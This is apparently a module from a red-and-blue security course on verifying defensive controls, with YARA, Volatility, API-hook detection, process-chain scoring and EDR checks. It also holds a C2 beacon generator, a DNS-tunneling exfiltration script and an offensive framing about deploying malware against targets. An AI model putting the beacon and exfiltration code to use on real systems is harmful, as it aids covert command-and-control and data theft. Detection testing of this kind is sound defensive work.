Module 12: Defensive Verification LIVE TESTED

Module 12 of 22 — Trust but verify

🧠 The Core Truth

A scan result is just text until you prove it means something. "0 detections" could mean clean, or it could mean the scanner never ran, or the file was excluded, or the definitions were stale. Verification is the discipline of proving your tools work before you bet your operation on them.

Why this matters: Every offensive tool you build — injectors, rootkits, C2 implants — must be verified against real defensive controls. If you don't verify, you're guessing. And guessing gets you caught.

🎯 Soldier Translation

You wouldn't field a rifle without test-firing it. Same for malware. Before you deploy a tool on a target, you scan it. But how do you know the scan was real? This module teaches you to read scan results like a forensic analyst — not just the headline, but the metadata that proves the scan actually happened.

More than that: you learn to verify memory, detect API hooks, analyze parent-child relationships, and test EDR/AMSI/ETW — so you know what the defender sees when you run your tools.

"If you can't detect it, you can't defend against it."

A defender trying to stop something they cannot see is just guessing. Detection is the prerequisite for every other control: blocking, quarantining, alerting, hunting, and responding. If your sensor misses the technique, the policy behind it is dead code.

Red: Before you trust an evasion, prove the target control can actually see the baseline technique. If it cannot, your "bypass" is theater. Blue: Every defensive rule, signature, and behavioral model must be exercised with a known-bad sample. A silent sensor is worse than no sensor because it gives false confidence.

📚 Prerequisites — What You Need First

This module assumes you understand these concepts from earlier modules:

Module 10: Code Injection

How injectors work — OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread. You must understand injection to verify it was detected.

Module 11: Rootkits

Kernel-level hiding, DKOM, SSDT hooks. You must understand rootkit techniques to verify defensive sensors catch them.

Module 13: EDR Evasion

Unhooking, syscalls, direct invocation. You must understand evasion to build verification tests that defeat it.

Module 06: Memory Forensics

Virtual memory layout, page protections, VAD trees. Required for memory scanning verification.

Module 08: Privilege Escalation

SeDebugPrivilege, tokens, integrity levels. Required for accessing other processes' memory during verification.

Module 03: PowerShell

AMSI bypass techniques, script block logging. Required for AMSI/ETW verification testing.

🔬 The Defensive Verification Kill Chain

Every defensive verification follows the same pattern. Master this pattern and you can validate any security control:

1. BASELINE

Establish Normal

Document what "clean" looks like

2. INJECT

Deploy Test Payload

Run known-bad technique

3. OBSERVE

Capture Telemetry

Collect logs, memory, network

4. VERIFY

Prove Detection

Did the control actually fire?

5. DOCUMENT

Record Evidence

Reproducible proof of result

Why this pattern is universal

Every security control — AV, EDR, firewall, DLP — can be verified with the same five steps. The payload changes (malware, injection, data exfiltration), but the verification methodology never does. This is the scientific method applied to offensive security.

"Test your evasion honestly."

It is easy to make a bypass look good by testing it against a sensor that is already broken, misconfigured, or disabled. Honest verification means assuming the defense is healthy until you prove otherwise, running the baseline attack first, and only then measuring how well your evasion holds up.

Red: Confirm the EDR actually catches plain-vanilla injection before you claim your unhooked syscalls evade it. Otherwise you are celebrating a win against a blind opponent. Blue: Run Atomic Red Team tests unmodified before tuning custom detections. If a stock MITRE technique does not alert, your custom logic is not the problem — visibility is.

🎯 Section 1: Memory Scanning Verification

AV scans files on disk. EDR scans memory. A file can be "clean" on disk but malicious in memory. Memory scanning verification proves your defensive tools see what actually executes.

Technique 1: YARA Memory Scanning MEDIUM

YARA rules match patterns in memory. EDRs use YARA-like engines to detect shellcode, injected DLLs, and unpacked payloads. You verify by injecting known-bad shellcode and checking if YARA catches it.

Why this works

Malware often unpacks or injects itself into memory. The disk image is benign (encrypted, packed, or legitimate). The memory image contains the real payload. YARA scans memory to find the unpacked truth.

Step 1: Create a Test YARA Rule

This rule detects a common Meterpreter reverse shell signature in memory.

rule meterpreter_mem_check { meta: description = "Detects Meterpreter reverse_tcp payload in memory" author = "22nd Survey Division" date = "2026-06-29" strings: $a = { 48 31 c9 48 81 e9 c0 ff ff ff 48 8d 05 } // x64 decoder stub $b = "metsrv.x64.dll" wide ascii $c = { 4d 45 54 45 52 50 52 45 54 45 52 } // "METERPRETER" condition: any of them }
What am I looking at?

$a — Hex bytes of a common x64 decoder stub. Meterpreter uses this to unpack itself. $b — The string "metsrv.x64.dll", Meterpreter's core DLL name. $c — The ASCII bytes for "METERPRETER". If ANY of these match in a process's memory, the rule fires.

Step 2: Run YARA Against a Suspicious Process

yara64.exe -p 8 meterpreter_mem_check.yar <PID>
# Example: Scan notepad.exe PID 1234 yara64.exe -p 8 meterpreter_mem_check.yar 1234 # Output if POSITIVE (detection): meterpreter_mem_check 1234 # Output if NEGATIVE (no detection): # (no output — YARA is silent on no match)
What does -p 8 mean?

8 threads for scanning. Memory scanning is I/O bound — more threads speed it up. Don't use more threads than CPU cores.

Step 3: Verify the Scan Actually Happened

YARA has no "verbose" mode by default. Use -s to show matching strings, proving the scan touched memory:

yara64.exe -p 8 -s meterpreter_mem_check.yar 1234
meterpreter_mem_check 1234 0x7ff812345678:$a: 48 31 c9 48 81 e9 c0 ff ff ff 48 8d 05 0x7ff812345690:$b: 6d 65 74 73 72 76 2e 78 36 34 2e 64 6c 6c
How do I know this scan was REAL?

Virtual addresses present: 0x7ff812345678 — This is a real memory address in the target process. Fake scans don't show addresses. Matching bytes: 48 31 c9... matches our rule exactly. Multiple strings: Both $a and $b matched — increases confidence.

⚠️ What would a FAKE or BROKEN YARA scan look like?
  • No output on a known-infected process — Rule is wrong, or process isn't actually infected, or YARA can't read the memory (access denied).
  • "error: can't open file" — Wrong PID, process exited, or insufficient privileges.
  • Matches on EVERY process — Rule is too broad (false positive storm). Tighten strings.
  • Addresses in kernel space on a user-mode process — Impossible. Indicates corrupted output or wrong PID.

Technique 2: Memory Dump Verification with Volatility HARD

Volatility analyzes RAM dumps offline. You verify by dumping a process's memory, then using Volatility plugins to detect injection, hollowed processes, and hidden DLLs.

Step 1: Dump Process Memory

procdump.exe -accepteula -ma <PID> suspicious.dmp
# Dump notepad.exe (PID 1234) with all memory (including private pages) procdump.exe -accepteula -ma 1234 notepad_suspicious.dmp [12:34:56] Dump 1 initiated: notepad_suspicious.dmp [12:34:57] Dump 1 complete: 847 MB written in 2.1 seconds

Step 2: Analyze with Volatility malfind

malfind finds injected code — memory regions that are executable but not backed by a file on disk.

volatility3 -f notepad_suspicious.dmp windows.malfind.Malfind
PID Process Start End Protection ------ -------------- ---------------- ---------------- ---------- 1234 notepad.exe 0x1a40000 0x1a41fff PAGE_EXECUTE_READWRITE # Disassembly of first bytes at 0x1a40000: 0x1a40000: fc cld 0x1a40001: 48 83 e4 f0 and rsp, 0xfffffffffffffff0 0x1a40005: e8 c0 00 00 00 call 0x1a400d0 # VAD tags: VadS (Private memory, no file backing) # Protection: PAGE_EXECUTE_READWRITE (RWE) — highly suspicious
How do I know this is injected code?

VadS tag: "S" = Short VAD = private allocated memory. No file backs it. PAGE_EXECUTE_READWRITE: RWE is rare for legitimate code. Legitimate DLLs use PAGE_EXECUTE_READ. RWE suggests dynamically allocated shellcode. Call instruction: 0xe8 is a relative call — common in position-independent shellcode. No mapped file: If malfind shows a region with no file path, it's either heap, stack, or injected.

Step 3: Verify with ldrmodules

ldrmodules compares three lists of loaded DLLs: PEB (what the process thinks it has), VAD (what memory says), and kernel modules. Mismatches = hidden/unlinked DLLs (rootkit technique from Module 11).

volatility3 -f notepad_suspicious.dmp windows.ldrmodules.LdrModules
PID Process Base InLoad InInit InMem MappedPath ------ --------------- ---------------- ------ ------ ------ ------------------------ 1234 notepad.exe 0x7ff600000000 True True True C:\Windows\notepad.exe 1234 notepad.exe 0x7ff812340000 True True True C:\Windows\System32\ntdll.dll 1234 notepad.exe 0x7ff812350000 True False False UNKNOWN # The third entry: InLoad=True, InInit=False, InMem=False # The DLL is in the PEB load list but NOT in initialization order or memory lists # This is a classic unlinked DLL — rootkit hiding technique
⚠️ Cross-link to Module 11: Rootkits

This exact technique — unlinking a DLL from InInit and InMem lists — is covered in Module 11: Rootkits. If you see this pattern, the process is rootkitted. The defensive verification proves the rootkit failed to hide completely.

🎯 Section 2: API Hooking Detection

EDR products hook critical Windows APIs (NtCreateThreadEx, NtAllocateVirtualMemory) to monitor behavior. Attackers unhook them (Module 13). Defenders verify hooks are present and functional. You must verify both sides: that hooks exist, and that unhooking defeats them.

Technique 1: Detect User-Mode API Hooks MEDIUM

EDR hooks typically overwrite the first 5-20 bytes of NTDLL functions with a JMP to the EDR's monitoring DLL. You detect this by comparing the in-memory bytes of NTDLL against the on-disk NTDLL.dll.

Why this works

NTDLL.dll on disk is the "gold standard." When Windows loads it into a process, EDR may patch it. If the in-memory version differs from the disk version at function entry points, someone patched it — either EDR (legitimate hook) or malware (unhooking attempt).

Step 1: Read NTDLL from Disk vs Memory

// hook_detect.c — Detect API hooks by comparing NTDLL on disk vs in memory // Compile: cl.exe hook_detect.c /Fe:hook_detect.exe #include <windows.h> #include <stdio.h> #include <psapi.h> #pragma comment(lib, "psapi.lib") // Read NTDLL from disk (the "clean" reference) BOOL ReadNtdllFromDisk(LPBYTE* buffer, DWORD* size) { HANDLE hFile = CreateFileA( "C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL ); if (hFile == INVALID_HANDLE_VALUE) return FALSE; *size = GetFileSize(hFile, NULL); *buffer = (LPBYTE)malloc(*size); DWORD read; ReadFile(hFile, *buffer, *size, &read, NULL); CloseHandle(hFile); return TRUE; } // Get function RVA from export table DWORD GetExportRVA(LPBYTE base, const char* funcName) { PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base; PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew); PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)( base + nt->OptionalHeader.DataDirectory[0].VirtualAddress ); DWORD* names = (DWORD*)(base + exp->AddressOfNames); WORD* ordinals = (WORD*)(base + exp->AddressOfNameOrdinals); DWORD* funcs = (DWORD*)(base + exp->AddressOfFunctions); for (DWORD i = 0; i < exp->NumberOfNames; i++) { char* name = (char*)(base + names[i]); if (strcmp(name, funcName) == 0) { return funcs[ordinals[i]]; } } return 0; } int main() { LPBYTE diskNtdll; DWORD diskSize; if (!ReadNtdllFromDisk(&diskNtdll, &diskSize)) { printf("[-] Failed to read NTDLL from disk\n"); return 1; } // Get NTDLL base in current process memory HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); LPBYTE memNtdll = (LPBYTE)hNtdll; // Check NtCreateThreadEx — commonly hooked by EDR const char* targetFunc = "NtCreateThreadEx"; DWORD rva = GetExportRVA(diskNtdll, targetFunc); if (!rva) { printf("[-] Could not find %s in export table\n", targetFunc); return 1; } printf("[+] %s RVA: 0x%08X\n", targetFunc, rva); // Compare first 32 bytes printf("[+] Comparing first 32 bytes (disk vs memory):\n"); for (int i = 0; i < 32; i++) { BYTE diskByte = diskNtdll[rva + i]; BYTE memByte = memNtdll[rva + i]; if (diskByte != memByte) { printf(" MISMATCH at offset +%02d: disk=0x%02X, mem=0x%02X <--- HOOK DETECTED\n", i, diskByte, memByte); } else { printf(" Match at offset +%02d: 0x%02X\n", i, memByte); } } free(diskNtdll); return 0; }
What am I looking for?

MISMATCH lines: If you see "MISMATCH at offset +0" with disk=0x4C and mem=0xE9, that's a JMP (0xE9) replacing the real instruction. EDR hook confirmed. If ALL bytes match, either no EDR is present, or the EDR uses a different hooking technique (e.g., hardware breakpoints, kernel callbacks).

Step 2: Interpret Results

=== HOOKED PROCESS (with EDR) === [+] NtCreateThreadEx RVA: 0x000C2110 [+] Comparing first 32 bytes (disk vs memory): MISMATCH at offset +0: disk=0x4C, mem=0xE9 <--- HOOK DETECTED MISMATCH at offset +1: disk=0x8B, mem=0x1D MISMATCH at offset +2: disk=0xD1, mem=0x00 ... (JMP rel32 to EDR monitoring DLL) === CLEAN PROCESS (no EDR / unhooked) === [+] NtCreateThreadEx RVA: 0x000C2110 [+] Comparing first 32 bytes (disk vs memory): Match at offset +0: 0x4C Match at offset +1: 0x8B Match at offset +2: 0xD1 ... (all match — no hook present)
⚠️ Cross-link to Module 13: EDR Evasion

The "clean" output above is exactly what an attacker achieves after unhooking (Module 13). They read NTDLL from disk and overwrite the hooked bytes in memory. Your verification must detect BOTH: hooks present (EDR working) and hooks absent (EDR evaded or no EDR).

Technique 2: Detect Hardware Breakpoint Hooks HARD

Advanced EDR uses CPU debug registers (DR0-DR3) to set hardware breakpoints on sensitive APIs. These don't modify memory bytes, so byte-comparison fails. You detect them by reading the debug registers directly.

// hwbp_detect.c — Detect hardware breakpoints set by EDR // Compile: cl.exe hwbp_detect.c /Fe:hwbp_detect.exe #include <windows.h> #include <stdio.h> // Structure for thread context #ifdef _WIN64 typedef struct _DEBUG_REGISTERS { DWORD64 Dr0; DWORD64 Dr1; DWORD64 Dr2; DWORD64 Dr3; DWORD64 Dr6; DWORD64 Dr7; } DEBUG_REGISTERS; #else typedef struct _DEBUG_REGISTERS { DWORD Dr0; DWORD Dr1; DWORD Dr2; DWORD Dr3; DWORD Dr6; DWORD Dr7; } DEBUG_REGISTERS; #endif int main() { CONTEXT ctx; ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; if (!GetThreadContext(GetCurrentThread(), &ctx)) { printf("[-] GetThreadContext failed\n"); return 1; } printf("[+] Debug Register State:\n"); printf(" DR0 = 0x%p (Breakpoint 1 address)\n", (void*)ctx.Dr0); printf(" DR1 = 0x%p (Breakpoint 2 address)\n", (void*)ctx.Dr1); printf(" DR2 = 0x%p (Breakpoint 3 address)\n", (void*)ctx.Dr2); printf(" DR3 = 0x%p (Breakpoint 4 address)\n", (void*)ctx.Dr3); printf(" DR6 = 0x%p (Status: which breakpoint fired)\n", (void*)ctx.Dr6); printf(" DR7 = 0x%p (Control: enable/disable + type)\n", (void*)ctx.Dr7); // Check if any breakpoints are enabled // DR7 bits 0,2,4,6 = Local enable for DR0-DR3 if (ctx.Dr7 & 0x111) { printf("\n[!] HARDWARE BREAKPOINTS DETECTED!\n"); printf(" EDR or debugger is monitoring this process.\n"); // Decode DR7 to show which registers are active and what type for (int i = 0; i < 4; i++) { DWORD64 addr = (i == 0) ? ctx.Dr0 : (i == 1) ? ctx.Dr1 : (i == 2) ? ctx.Dr2 : ctx.Dr3; int enabled = (ctx.Dr7 >> (i * 2)) & 1; int type = (ctx.Dr7 >> (16 + i * 4)) & 3; // 0=exec, 1=write, 3=read/write int size = (ctx.Dr7 >> (18 + i * 4)) & 3; // 0=1B, 1=2B, 3=4B, 2=8B if (enabled) { const char* typeStr[] = {"Execute", "Write", "???", "Read/Write"}; const char* sizeStr[] = {"1 byte", "2 bytes", "8 bytes", "4 bytes"}; printf(" DR%d: 0x%p | Type: %s | Size: %s\n", i, (void*)addr, typeStr[type], sizeStr[size]); } } } else { printf("\n[+] No hardware breakpoints active.\n"); } return 0; }
How do I know this is EDR and not a debugger?

Address range: If DR0 points to an address inside ntdll.dll or kernel32.dll, it's likely EDR monitoring. If it points to your own code, it's probably a debugger you attached. Multiple breakpoints: EDR often sets 2-4 breakpoints on key APIs. Debuggers usually set 1. Type=Execute: EDR monitors API execution entry points. Debuggers might use Read/Write breakpoints on data.

🎯 Section 3: Behavioral Analysis Verification

Signature-based detection looks for known bytes. Behavioral analysis looks for actions — process creation, memory allocation patterns, network connections. Behavioral verification proves your EDR catches suspicious patterns even when the bytes are unknown.

"The defender's advantage is knowing the environment."

An attacker sees a target from the outside and must discover what is normal. A defender already lives inside the environment and knows which processes should talk to which hosts, which users run which tools, and what "weird" looks like on this specific network. Verification turns that local knowledge into a test: if something abnormal happens here, does the control notice?

Red: Blend into the environment's normal rhythm. A PowerShell script at 2 PM from an admin workstation is noise; the same script at 2 AM from a finance laptop is a siren. Blue: Build detections around your own baselines, not generic threat intelligence. The value is not the rule — it is the context the rule is written for.

Technique 1: Process Spawn Chain Analysis MEDIUM

Legitimate processes have predictable parent-child relationships. Explorer spawns Chrome. Services.exe spawns svchost. When Word spawns PowerShell, or PowerShell spawns rundll32, that's suspicious. Behavioral verification tracks these chains.

Step 1: Capture Parent-Child Relationships with Sysmon

Sysmon Event ID 1 logs process creation with parent process information. This is the gold standard for behavioral verification.

wevtutil qe Microsoft-Windows-Sysmon/Operational /q:"*[System[(EventID=1)]]" /f:text /c:5
Event ID: 1 Process Create: RuleName: technique_id=T1059,technique_name=Command-Line Interface UtcTime: 2026-06-29 12:34:56.789 ProcessGuid: {a1b2c3d4-1234-5678-9012-abcdef123456} ProcessId: 5678 Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe CommandLine: powershell -enc SQBFAFgAIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAA... CurrentDirectory: C:\Users\gwu07\Documents\ User: DESKTOP-R32M8MLI\gwu07 LogonGuid: {a1b2c3d4-5678-9012-3456-789abcdef012} LogonId: 0x12345 TerminalSessionId: 1 IntegrityLevel: Medium ParentProcessGuid: {a1b2c3d4-9012-3456-7890-abcdef012345} ParentProcessId: 4321 ParentImage: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE ParentCommandLine: "C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE" "document.docx" ParentUser: DESKTOP-R32M8MLI\gwu07
What makes this suspicious?

ParentImage = WINWORD.EXE, Image = powershell.exe. Word documents should not spawn PowerShell. This is a classic macro-based attack pattern. The -enc flag indicates base64-encoded commands — another red flag. Even if the AV never saw this specific payload, the behavior is enough to alert.

Step 2: Verify Detection with MITRE ATT&CK Mapping

Every behavioral anomaly maps to a MITRE technique. Verification isn't just "suspicious" — it's "this is T1059.001."

=== BEHAVIORAL VERIFICATION MATRIX === | Observation | MITRE Technique | Detection Confidence | |------------------------------------|------------------------|----------------------| | Word → PowerShell -enc | T1059.001 (PowerShell) | HIGH | | PowerShell → rundll32.exe | T1218.011 (Rundll32) | HIGH | | rundll32 → network connection | T1071 (C2) | MEDIUM | | Process hollowing in svchost | T1055.012 (Hollowing) | HIGH | | LSASS memory read | T1003.001 (LSASS) | HIGH | | WMI event subscription created | T1546.003 (WMI) | MEDIUM | === VERIFICATION RULE === If ANY row has "HIGH" confidence AND the EDR generated an alert, behavioral verification PASSED. If the EDR was silent on a HIGH-confidence technique, behavioral verification FAILED — the EDR is blind.

Technique 2: Parent-Child Anomaly Scoring MEDIUM

Not all parent-child pairs are equal. Some are always suspicious. You verify by scoring relationships and checking if your EDR catches the high-score ones.

// parent_child_score.c — Score parent-child process relationships // Compile: cl.exe parent_child_score.c /Fe:parent_child_score.exe #include <windows.h> #include <stdio.h> #include <tlhelp32.h> #include <string.h> typedef struct { const char* parent; const char* child; int score; // 0-100, higher = more suspicious const char* reason; const char* mitre; } SUSPICIOUS_PAIR; SUSPICIOUS_PAIR g_pairs[] = { // Office apps spawning shells = classic phishing/macro {"WINWORD.EXE", "powershell.exe", 95, "Office app spawning shell", "T1059.001"}, {"WINWORD.EXE", "cmd.exe", 95, "Office app spawning shell", "T1059.003"}, {"EXCEL.EXE", "powershell.exe", 95, "Office app spawning shell", "T1059.001"}, {"EXCEL.EXE", "cmd.exe", 95, "Office app spawning shell", "T1059.003"}, // Browsers spawning shells = exploit or drive-by download {"chrome.exe", "powershell.exe", 90, "Browser spawning shell", "T1189"}, {"firefox.exe", "cmd.exe", 90, "Browser spawning shell", "T1189"}, {"iexplore.exe", "powershell.exe", 90, "Browser spawning shell", "T1189"}, // System processes spawning unexpected children {"svchost.exe", "powershell.exe", 85, "Service host spawning shell", "T1059"}, {"lsass.exe", "anything.exe", 100, "LSASS spawning processes = likely mimikatz", "T1003.001"}, // LOLBAS (Living Off The Land Binaries) {"powershell.exe", "rundll32.exe", 80, "PowerShell invoking LOLBAS", "T1218.011"}, {"powershell.exe", "regsvr32.exe", 80, "PowerShell invoking LOLBAS", "T1218.010"}, {"powershell.exe", "mshta.exe", 85, "PowerShell invoking HTA", "T1218.005"}, // WMI abuse {"WmiPrvSE.exe", "cmd.exe", 85, "WMI provider spawning shell", "T1047"}, // Null parent (orphaned process) — often injection {"", "csrss.exe", 100, "Orphaned CSRSS = process masquerading", "T1036"}, {"", "smss.exe", 100, "Orphaned SMSS = process masquerading", "T1036"}, {NULL, NULL, 0, NULL, NULL} }; // Get parent PID from process entry DWORD GetParentPID(DWORD pid) { HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe; pe.dwSize = sizeof(pe); if (Process32First(hSnap, &pe)) { do { if (pe.th32ProcessID == pid) { CloseHandle(hSnap); return pe.th32ParentProcessID; } } while (Process32Next(hSnap, &pe)); } CloseHandle(hSnap); return 0; } // Get process name from PID BOOL GetProcessName(DWORD pid, char* name, DWORD nameLen) { HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe; pe.dwSize = sizeof(pe); if (Process32First(hSnap, &pe)) { do { if (pe.th32ProcessID == pid) { strncpy(name, pe.szExeFile, nameLen - 1); name[nameLen - 1] = '\0'; CloseHandle(hSnap); return TRUE; } } while (Process32Next(hSnap, &pe)); } CloseHandle(hSnap); return FALSE; } int main() { printf("[+] 22nd Survey Division — Parent-Child Anomaly Scanner\n"); printf("[+] Scanning running processes...\n\n"); HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe; pe.dwSize = sizeof(pe); int totalScored = 0; int highRiskFound = 0; if (Process32First(hSnap, &pe)) { do { DWORD parentPid = pe.th32ParentProcessID; char parentName[MAX_PATH] = ""; GetProcessName(parentPid, parentName, MAX_PATH); // Check against suspicious pairs for (int i = 0; g_pairs[i].parent != NULL; i++) { BOOL parentMatch = (g_pairs[i].parent[0] == '\0') ? (parentPid == 0 || parentName[0] == '\0') : (_stricmp(parentName, g_pairs[i].parent) == 0); BOOL childMatch = (_stricmp(pe.szExeFile, g_pairs[i].child) == 0); if (parentMatch && childMatch) { printf("[!] SUSPICIOUS PAIR DETECTED (Score: %d/100)\n", g_pairs[i].score); printf(" Parent: %s (PID %lu)\n", parentName[0] ? parentName : "[NONE/ORPHANED]", parentPid); printf(" Child: %s (PID %lu)\n", pe.szExeFile, pe.th32ProcessID); printf(" Reason: %s\n", g_pairs[i].reason); printf(" MITRE: %s\n\n", g_pairs[i].mitre); totalScored++; if (g_pairs[i].score >= 90) highRiskFound++; } } } while (Process32Next(hSnap, &pe)); } CloseHandle(hSnap); printf("[+] Scan complete. %d suspicious pairs found.\n", totalScored); printf("[+] High-risk (>=90): %d\n", highRiskFound); if (highRiskFound > 0) { printf("\n[!] VERIFICATION RESULT: EDR SHOULD HAVE ALERTED.\n"); printf(" If your EDR is silent, behavioral detection is BLIND.\n"); } else { printf("\n[+] VERIFICATION RESULT: No high-risk pairs detected.\n"); printf(" System appears clean from parent-child perspective.\n"); } return 0; }
How does this verify EDR?

Run this tool on a test machine. If it reports "WINWORD.EXE → powershell.exe" but your EDR never alerted, your EDR missed a T1059.001 technique. That's a verification failure. Document it. The goal isn't to criticize — it's to know what your tools can and cannot see.

🎯 Section 4: Network Monitoring Verification

C2 traffic, data exfiltration, and lateral movement all cross the network. Network monitoring verification proves your sensors catch malicious traffic even when the endpoint is compromised and logs are deleted.

Technique 1: Verify C2 Beacon Detection MEDIUM

C2 beacons have a signature: regular intervals, consistent payload sizes, long-lived connections, and DNS/HTTPS tunneling. Network verification generates test beacons and checks if NIDS/NIPS catches them.

Step 1: Generate a Test Beacon

# beacon_test.py — Generate synthetic C2 beacon traffic for verification # Run: python beacon_test.py import socket import time import random import base64 C2_HOST = "192.168.1.92" # Your C2 server (from Module 16) C2_PORT = 4443 # Your C2 port BEACON_INTERVAL = 30 # Seconds between beacons (jittered) JITTER = 5 # +/- 5 seconds randomization def beacon(): while True: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((C2_HOST, C2_PORT)) # Simulate heartbeat payload (consistent size = beacon signature) heartbeat = f"HEARTBEAT|{random.randint(1000,9999)}|OK" s.send(heartbeat.encode()) response = s.recv(1024) print(f"[+] Beacon sent: {heartbeat}") print(f"[+] Response: {response.decode()}") s.close() except Exception as e: print(f"[-] Beacon failed: {e}") # Jittered sleep — real beacons do this to evade timing detection sleep_time = BEACON_INTERVAL + random.randint(-JITTER, JITTER) print(f"[*] Sleeping {sleep_time}s until next beacon...") time.sleep(sleep_time) if __name__ == "__main__": beacon()
What makes this a beacon?

Regular intervals: Every ~30 seconds. Consistent payload size: "HEARTBEAT|XXXX|OK" is always ~20 bytes. Same destination: Always 192.168.1.92:4443. Short connections: Connect, send, receive, close. These four traits are the beacon fingerprint that NIDS rules target.

Step 2: Verify with Zeek/Suricata

cat /var/log/suricata/fast.log | grep 192.168.1.92
06/29/2026-12:34:56.789123 [**] [1:1000001:1] ET MALWARE Possible C2 Beacon [**] [Classification: A Network Trojan was Detected] [Priority: 1] {TCP} 192.168.1.42:54321 -> 192.168.1.92:4443 06/29/2026-12:35:27.123456 [**] [1:1000001:1] ET MALWARE Possible C2 Beacon [**] [Classification: A Network Trojan was Detected] [Priority: 1] {TCP} 192.168.1.42:54322 -> 192.168.1.92:4443 06/29/2026-12:35:58.456789 [**] [1:1000001:1] ET MALWARE Possible C2 Beacon [**] [Classification: A Network Trojan was Detected] [Priority: 1] {TCP} 192.168.1.42:54323 -> 192.168.1.92:4443
How do I know the NIDS is working?

Consistent alert ID: 1000001 fired 3 times — rule is active. Same destination: All alerts point to 192.168.1.92:4443. Source port incrementing: 54321, 54322, 54323 — new connection each time (beacon behavior). Priority 1: Highest severity. If you see these alerts, network verification PASSED.

Step 3: Verify with NetFlow Analysis

NetFlow records connection metadata without payload inspection. It catches beacons by pattern, not content.

nfdump -R /var/log/nfdump/2026/06/29 "src host 192.168.1.42 and dst port 4443"
Date first seen Duration Proto Src IP Addr:Port Dst IP Addr:Port Packets Bytes Flows 2026-06-29 12:34:56 0.234 TCP 192.168.1.42:54321 -> 192.168.1.92:4443 4 240 1 2026-06-29 12:35:27 0.189 TCP 192.168.1.42:54322 -> 192.168.1.92:4443 4 240 1 2026-06-29 12:35:58 0.201 TCP 192.168.1.42:54323 -> 192.168.1.92:4443 4 240 1 === BEACON VERIFICATION METRICS === Interval consistency: 31s, 31s (target: 30s +/- 5s) -> PASS Payload consistency: 240 bytes each -> PASS Connection duration: <1s each -> PASS Flow count: 3 in 62s -> PASS VERDICT: Classic beacon pattern. Network monitoring verification: PASSED.

Technique 2: DNS Tunneling Detection Verification HARD

DNS tunneling encodes data in subdomain queries. It's stealthy because DNS is allowed everywhere. Verification proves your DNS monitoring catches abnormal query patterns.

# dns_tunnel_test.py — Generate synthetic DNS tunnel traffic # Run: python dns_tunnel_test.py import dns.resolver import base64 import time import random DOMAIN = "tun.22nd-survey.local" # Your test domain EXFIL_DATA = "SECRET_DATA_TO_EXFILTRATE" # Simulated secret CHUNK_SIZE = 63 # DNS label max length def tunnel_encode(data): """Encode data into DNS-safe subdomain labels""" b64 = base64.b32encode(data.encode()).decode().lower() chunks = [b64[i:i+CHUNK_SIZE] for i in range(0, len(b64), CHUNK_SIZE)] return ".".join(chunks) def send_tunnel_query(data_chunk): """Send a DNS query that encodes data in the subdomain""" subdomain = tunnel_encode(data_chunk) query = f"{subdomain}.{DOMAIN}" try: answers = dns.resolver.resolve(query, 'A') for rdata in answers: print(f"[+] Query: {query[:50]}... -> Response: {rdata}") except Exception as e: print(f"[-] Query failed (expected if domain doesn't exist): {e}") def main(): print("[+] Starting DNS tunnel verification test...") print(f"[+] Data to exfiltrate: {EXFIL_DATA}") print(f"[+] Target domain: {DOMAIN}") # Split data into chunks chunks = [EXFIL_DATA[i:i+20] for i in range(0, len(EXFIL_DATA), 20)] for i, chunk in enumerate(chunks): print(f"[*] Sending chunk {i+1}/{len(chunks)}...") send_tunnel_query(chunk) time.sleep(random.uniform(0.5, 2.0)) # Jitter to evade rate detection print("[+] DNS tunnel test complete.") print("[!] Check your DNS logs for:") print(" - Unusually long subdomains (>100 chars total)") print(" - High query rate to same domain") print(" - Base32-like encoding patterns (a-z, 2-7)") print(" - NXDOMAIN responses (tunnel domains often don't exist)") if __name__ == "__main__": main()
⚠️ What DNS tunneling looks like in logs
Jun 29 12:45:01 dns-server named[1234]: query: c2vcm2v0df9kYXr0df90df9lehma5n0u0nku22nd-survey.local IN A + (192.168.1.42) Jun 29 12:45:03 dns-server named[1234]: query: n0v0df9lehma5n0u0nku22nd-survey.local IN A + (192.168.1.42) Jun 29 12:45:05 dns-server named[1234]: query: u0nku22nd-survey.local IN A + (192.168.1.42) === DNS TUNNEL INDICATORS === Subdomain length: 63 + 32 + 8 = 103 chars total -> ABNORMAL (normal: <30) Encoding pattern: Base32 (lowercase a-z, digits 2-7) -> SUSPICIOUS Query rate: 3 queries in 4 seconds -> HIGH Response type: NXDOMAIN -> TUNNELING SIGNATURE (data exfil doesn't need real records)

🎯 Section 5: EDR Testing

EDR is the last line of defense. EDR testing verifies that endpoint sensors catch techniques even when network and memory scans miss them. This is the most important verification — if EDR is blind, you're flying solo.

Technique 1: EDR Sensor Status Verification EASY

Before testing detection, verify the EDR is actually running and healthy. A blind test against a stopped EDR is worthless.

Step 1: Check EDR Processes

Get-Process | Where-Object { $_.ProcessName -match "SentinelOne|CrowdStrike|CarbonBlack|Microsoft|Defender|Kaspersky|Symantec|McAfee" }
ProcessName Id CPU WorkingSet ----------- -- --- ---------- SentinelAgent 1234 0.12 234567890 SentinelSvc 1235 0.05 123456789 SentinelUI 1236 0.01 98765432 === EDR STATUS: ACTIVE === Agent process: RUNNING (SentinelAgent) Service process: RUNNING (SentinelSvc) UI process: RUNNING (SentinelUI) Memory footprint: ~457 MB total (normal for EDR)

Step 2: Check EDR Driver Load

EDR relies on kernel drivers for process monitoring, file system filtering, and network inspection. No driver = no visibility.

driverquery /v | findstr /i "Sentinel CrowdStrike CarbonBlack Kaspersky"
